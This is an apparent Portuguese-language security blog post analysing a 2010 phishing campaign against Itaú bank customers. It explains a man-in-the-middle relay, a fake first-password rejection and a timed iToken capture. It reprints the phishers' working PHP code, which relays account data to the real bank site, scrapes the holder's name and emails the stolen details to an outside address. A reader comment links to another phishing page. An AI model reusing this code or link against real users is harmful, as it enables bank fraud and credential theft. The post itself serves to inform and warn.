quarta-feira, 29 de dezembro de 2010

Man-In-The-Middle e outras técnicas em phishing brasileiro

Os criminosos cibernéticos brasileiros são muito criativos quando se trata de engenharia social. Primeiro foram os phishings que começaram a chegar nas caixas postais das vítimas com nome e CPF personalizados, agora eles estão criando novas técnicas que deixam o golpe ainda mais plausível.

O golpe em questão está sendo aplicado nos clientes do banco Itaú. As vítimas recebem um e-mail personalizado com seu nome dizendo ser do Itaú para atualização do dispositivo iToken.


No corpo do e-mail há um link, o nome da vítima, que após clicado redireciona para uma página falsa do banco.

O que diferencia esse phishing dos demais é a utilização de três técnicas que aumentam a credibilidade do golpe dificultando a identificação da fraude. Isso faz com que a vítima se sinta mais confortável em fornecer seus dados pessoais.

Vejamos em detalhes as três técnicas identificadas.

1) Ataque Man-In-The-Middle para validar número de agência e conta

A vítima digita um número de agência e conta bancária que não existe e o site exibe a mensagem que os dados realmente são inválidos. Ela então digita os dados verdadeiros e o site exibe uma nova página com o primeiro nome da vítima e diz para ela prosseguir com a operação somente se seu nome estiver correto.

Como é possível um site falso exibir o nome verdadeiro de um cliente do banco?

Isso é possível através do ataque Man-In-The-Middle (MITM), ou homem-no-meio. Esse tipo de ataque é executado quando um indivíduo se infiltra na comunicação entre duas partes, intercepta os dados, manipula e retransmite sem que nenhuma das partes perceba.

No ataque do banco Itaú funciona assim:


  1. Vítima acessa o site falso e fornece o número da agência e conta;
  2. Site falso retransmite os dados para o site verdadeiro do Itaú;
  3. Site verdadeiro verifica se os dados conferem e envia resposta para o site falso;
  4. Site falso envia os dados para o criminoso por e-mail;
  5. Site falso exibe mensagem personalizada de acordo com a resposta do site verdadeiro.
Isso tudo ocorre de forma transparente para as duas partes comunicantes, a vítima acha que está acessando o site verdadeiro do Itaú e o Itaú acha que a solicitação foi feita pela vítima.

Do ponto de vista técnico, o site falso utiliza a linguagem PHP e realiza esse ataque com as seguintes linhas de código:

<?
session_start();
$agencia = $_POST['idag1'];
$_SESSION['agencia'] = $agencia;
$conta = $_POST['idct1'];
$_SESSION['conta'] = $conta;
$dac = $_POST['iddg1'];
$_SESSION['dac'] = $dac;

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL,"https://bankline.itau.com.br/GRIPNET/bklcom.dll");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEJAR, $gacookie);
curl_setopt ($ch, CURLOPT_COOKIEFILE, $gacookie);
curl_setopt ($ch, CURLOPT_REFERER, "https://bankline.itau.com.br/lgnet/itauf/bankline.htm");
$postdata = "id=U2TH1000000&op=A79BF5A95F48CA722097ABE53F049FC79605FA794E31FE3229163FE198AA7AB9&agencia=" . $agencia . "&conta=" . $conta . "&dac=" . $dac . "&tipousuario=X&origem=H&formulario=0&trnini=&varest=&pop=&Target=∏=&tira=1000000&Reso=1280x800%40%26cookie%3D&Engine=3&Flag=N&idSessA=&generico=&x=13&y=11";
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);
curl_close($ch);

$resulta = explode('class="MSGTexto8">',$result);
$resulta1 = $resulta[1];
$resulta2 = explode('</a>',$resulta1);
if ($resulta2[0] == ""){
   $resulta = explode('class="MSGNome">',$result);
   $resulta1 = $resulta[1];
   $resulta2 = explode('</a>',$resulta1);
}

if ($resulta2[0] == ""){
   $resulta = explode('class="MSGTituloEsq2">  ',$result);
   $resulta1 = $resulta[1];
   $resulta2 = explode('</span>',$resulta1);
}

$ip = $_SERVER["REMOTE_ADDR"];
if ($resulta2[0] == ""){
   echo"<script type='text/javascript'>";
   echo "alert('Agencia e conta invalida. Verifique se o numero digitado esta correto.');";
   echo "</script>";
   echo "<meta HTTP-EQUIV='refresh' CONTENT='0;URL=index.php'>";
}

$headers = "MIME-Version: 1.1\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "From: " . $resulta2[0] . "@abriu.com.br\n"; // remetente
$headers .= "Return-Path: " . $resulta2[0] . "@abriu.com.br\n"; // return-path

mail("fulano@gmail.com", "[" . $ip . "] - " . $resulta2[0] . " Abriu", $os . ' ' . $browser . "<br>" . $resulta2[0] . "<br>" . $agencia . "<br>" . $conta . "-" . $dac . "<br>", $headers);

$_SESSION['nome'] = $resulta2[0]; 
?>

Primeiro os dados digitados são salvos em variáveis de Sessão, depois é utilizada a libcurl no PHP para se comunicar com o site verdadeiro do banco Itaú, a resposta é exibida de acordo com os dados fornecidos pelo site. Por fim é enviado um e-mail para o criminoso com as informações capturadas.

2) Descarte da primeira senha

Quem nunca ouviu essa dica básica de segurança para acessar Internet Banking:

“Ao digitar a senha primeiro informe uma senha falsa, se aparecer mensagem de erro o site é verdadeiro mas se ele aceitar é golpe”.

Pois bem, nesse caso do Itaú para qualquer primeira senha informada será exibida  uma mensagem de erro pedindo para a pessoa digitar novamente, já na segunda tentativa a mesma senha é aceita.


3) Tempo de espera para utilizar código do iToken

O iToken é um dispositivo utilizado pelo banco Itaú para aumentar a segurança das transações pela Internet. Ao utilizar os serviços do banco pela Internet é solicitado um código de seis dígitos que é fornecido pelo iToken, esse código é renovado após X segundos invalidando o código anterior.

Nesse phishing o site solicita o número do iToken e a senha do cartão,  em seguida já envia os dados por e-mail para o criminoso. Enquanto isso é exibida uma barra que vai carregando aos poucos e faz com que a vítima fique esperando por 1 minuto.


Esse processo se repete por três vezes. Tudo isso para que o criminoso que está atento aos e-mails que chegam em sua caixa postal tenha tempo hábil para utilizar o número do iToken antes que seja invalidado.

Veja o vídeo do phishing em ação.


Os phishings bancários estão ficando cada vez mais convincentes no Brasil. Mecanismos de segurança que antes eram válidos estão ser tornando obsoletos, a tendência é que esse tipo de golpe se torne cada vez mais difícil de ser detectado.

Leia mais sobre fraudes bancárias pela Internet no menu Fraudes Bancárias.

Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet

2 comentários:

  1. Olá, Ronaldo!

    Aqui tem outro golpe com a mesma técnica, para vc brincar:
    http://visago.ws/secure/vaidevisa/primeiro_passo.php

    ResponderExcluir

Related Posts Plugin for WordPress, Blogger...